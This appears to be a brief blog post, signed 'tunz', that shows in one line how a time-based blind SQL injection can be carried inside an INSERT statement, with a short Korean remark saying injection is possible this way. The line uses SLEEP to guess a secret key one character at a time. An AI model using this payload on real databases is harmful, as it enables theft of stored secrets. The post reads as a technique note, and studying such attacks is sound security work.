insert into ~~ (c1, c2, c3) values (~,~,if(substr((select key from key_table),1,1) = 'a', SLEEP(4), 1));

대충 이런식으로, 인젝션이 가능합니다.

posted by tunz